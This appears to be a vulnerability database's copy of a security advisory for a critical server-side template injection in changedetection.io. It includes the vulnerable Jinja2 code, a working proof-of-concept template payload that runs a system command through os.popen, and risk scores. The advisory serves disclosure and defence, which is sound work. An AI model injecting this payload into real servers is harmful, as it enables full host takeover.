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GHSA-4r7v-whpg-8rx3

CriticalCVSS 10 / 10
Published Oct 15, 2024·Last modified Aug 6, 2025
Affected Components(0)

No affected components available

Description

Summary

A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.

Details

changedetection.io version: 0.45.20

docker images
REPOSITORY                            TAG       IMAGE ID       CREATED        SIZE
dgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB

The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.

from jinja2 import Environment, BaseLoader
...
    # Get the notification body from datastore
    jinja2_env = Environment(loader=BaseLoader)
    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)

PoC

  1. Create/Edit a URL watch item
  2. Under Notifications tab insert this payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Screenshot from 2024-04-19 15-46-04

  1. See Telegram (or other supported messaging app) notification

Screenshot from 2024-04-19 16-02-12

Impact

In the PoC I've used id as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell). The impact is critical as the attacker can completely takeover the server host. This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).

References

  • https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
  • https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
  • https://docs.cobalt.io/bestpractices/prevent-ssti/

Credits

Edoardo Ottavianelli

Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
83.72%

The exploit probability is critical. The vulnerability is very likely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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